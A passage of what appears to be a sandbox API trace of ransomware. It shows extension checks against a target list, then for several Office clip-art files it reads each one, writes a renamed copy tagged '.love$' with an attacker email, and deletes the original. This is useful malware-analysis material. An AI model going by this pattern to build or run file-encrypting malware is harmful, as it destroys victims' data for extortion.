lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString=".xls") returned 4 [0244.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.093] lstrlenW (lpString=".xlsx") returned 5 [0244.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.093] lstrlenW (lpString=".ppt") returned 4 [0244.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.093] lstrlenW (lpString=".zip") returned 4 [0244.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.093] lstrlenW (lpString=".rar") returned 4 [0244.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString=".bz2") returned 4 [0244.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString=".7z") returned 3 [0244.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.093] lstrlenW (lpString=".dbf") returned 4 [0244.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.093] lstrlenW (lpString=".1cd") returned 4 [0244.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.093] lstrlenW (lpString=".jpg") returned 4 [0244.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.093] lstrlenW (lpString=".doc") returned 4 [0244.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString=".docx") returned 5 [0244.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.094] lstrlenW (lpString=".pdf") returned 4 [0244.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString=".xls") returned 4 [0244.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.094] lstrlenW (lpString=".xlsx") returned 5 [0244.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.094] lstrlenW (lpString=".ppt") returned 4 [0244.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.094] lstrlenW (lpString=".zip") returned 4 [0244.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.094] lstrlenW (lpString=".rar") returned 4 [0244.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString=".bz2") returned 4 [0244.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString=".7z") returned 3 [0244.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.094] lstrlenW (lpString=".dbf") returned 4 [0244.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.094] lstrlenW (lpString=".1cd") returned 4 [0244.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.094] lstrlenW (lpString=".jpg") returned 4 [0244.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.095] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.095] lstrlenW (lpString="DD01586_.WMF") returned 12 [0244.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.096] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2324) returned 1 [0244.096] CloseHandle (hObject=0x4e8) returned 1 [0244.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0244.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.097] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.097] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0244.098] GetLastError () returned 0x0 [0244.098] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x914, lpOverlapped=0x0) returned 1 [0244.102] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x920, lpOverlapped=0x0) returned 1 [0244.103] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.103] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.103] SetEndOfFile (hFile=0x388) returned 1 [0244.103] CloseHandle (hObject=0x388) returned 1 [0244.104] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.104] SetEndOfFile (hFile=0x4e8) returned 1 [0244.107] CloseHandle (hObject=0x4e8) returned 1 [0244.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0244.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.109] lstrlenW (lpString=".doc") returned 4 [0244.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.109] lstrlenW (lpString=".docx") returned 5 [0244.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.109] lstrlenW (lpString=".pdf") returned 4 [0244.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.109] lstrlenW (lpString=".xls") returned 4 [0244.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.109] lstrlenW (lpString=".xlsx") returned 5 [0244.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.109] lstrlenW (lpString=".ppt") returned 4 [0244.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.109] lstrlenW (lpString=".zip") returned 4 [0244.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.109] lstrlenW (lpString=".rar") returned 4 [0244.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString=".bz2") returned 4 [0244.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString=".7z") returned 3 [0244.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.110] lstrlenW (lpString=".dbf") returned 4 [0244.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.110] lstrlenW (lpString=".1cd") returned 4 [0244.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.110] lstrlenW (lpString=".jpg") returned 4 [0244.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.110] lstrlenW (lpString=".doc") returned 4 [0244.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString=".docx") returned 5 [0244.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.110] lstrlenW (lpString=".pdf") returned 4 [0244.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString=".xls") returned 4 [0244.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.110] lstrlenW (lpString=".xlsx") returned 5 [0244.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.110] lstrlenW (lpString=".ppt") returned 4 [0244.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.110] lstrlenW (lpString=".zip") returned 4 [0244.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.111] lstrlenW (lpString=".rar") returned 4 [0244.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.111] lstrlenW (lpString=".bz2") returned 4 [0244.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.111] lstrlenW (lpString=".7z") returned 3 [0244.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.111] lstrlenW (lpString=".dbf") returned 4 [0244.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.111] lstrlenW (lpString=".1cd") returned 4 [0244.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0244.111] lstrlenW (lpString=".jpg") returned 4 [0244.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.111] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.111] lstrlenW (lpString="DD01628_.WMF") returned 12 [0244.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.113] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19068) returned 1 [0244.113] CloseHandle (hObject=0x4e8) returned 1 [0244.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0244.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.114] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.114] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0244.115] GetLastError () returned 0x0 [0244.115] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0244.346] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4a80, lpOverlapped=0x0) returned 1 [0244.348] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.348] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.348] SetEndOfFile (hFile=0x388) returned 1 [0244.497] CloseHandle (hObject=0x388) returned 1 [0244.497] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.497] SetEndOfFile (hFile=0x4e8) returned 1 [0244.501] CloseHandle (hObject=0x4e8) returned 1 [0244.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0246.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0246.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.165] lstrlenW (lpString=".doc") returned 4 [0246.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.165] lstrlenW (lpString=".docx") returned 5 [0246.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.165] lstrlenW (lpString=".pdf") returned 4 [0246.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.165] lstrlenW (lpString=".xls") returned 4 [0246.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.165] lstrlenW (lpString=".xlsx") returned 5 [0246.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.165] lstrlenW (lpString=".ppt") returned 4 [0246.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.165] lstrlenW (lpString=".zip") returned 4 [0246.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.165] lstrlenW (lpString=".rar") returned 4 [0246.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.165] lstrlenW (lpString=".bz2") returned 4 [0246.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString=".7z") returned 3 [0246.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.166] lstrlenW (lpString=".dbf") returned 4 [0246.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.166] lstrlenW (lpString=".1cd") returned 4 [0246.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.166] lstrlenW (lpString=".jpg") returned 4 [0246.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.166] lstrlenW (lpString=".doc") returned 4 [0246.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString=".docx") returned 5 [0246.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.166] lstrlenW (lpString=".pdf") returned 4 [0246.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString=".xls") returned 4 [0246.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.166] lstrlenW (lpString=".xlsx") returned 5 [0246.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.166] lstrlenW (lpString=".ppt") returned 4 [0246.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.167] lstrlenW (lpString=".zip") returned 4 [0246.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.167] lstrlenW (lpString=".rar") returned 4 [0246.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.167] lstrlenW (lpString=".bz2") returned 4 [0246.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.167] lstrlenW (lpString=".7z") returned 3 [0246.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.167] lstrlenW (lpString=".dbf") returned 4 [0246.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.167] lstrlenW (lpString=".1cd") returned 4 [0246.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0246.167] lstrlenW (lpString=".jpg") returned 4 [0246.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.167] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0246.167] lstrlenW (lpString="EN00202_.WMF") returned 12 [0246.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0246.168] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6938) returned 1 [0246.169] CloseHandle (hObject=0x534) returned 1 [0246.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0246.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0246.215] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.217] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0247.090] GetLastError () returned 0x0 [0247.090] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0247.163] WriteFile (in: hFile=0x53c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0247.164] ReadFile (in: hFile=0x534, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.165] WriteFile (in: hFile=0x53c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.165] SetEndOfFile (hFile=0x53c) returned 1 [0247.165] CloseHandle (hObject=0x53c) returned 1 [0247.165] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.165] SetEndOfFile (hFile=0x534) returned 1 [0247.177] CloseHandle (hObject=0x534) returned 1 [0247.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0247.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0247.558] lstrlenW (lpString=".doc") returned 4 [0247.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.558] lstrlenW (lpString=".docx") returned 5 [0247.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.558] lstrlenW (lpString=".pdf") returned 4 [0247.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.558] lstrlenW (lpString=".xls") returned 4 [0247.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.590] lstrlenW (lpString=".xlsx") returned 5 [0247.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.590] lstrlenW (lpString=".ppt") returned 4 [0247.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned 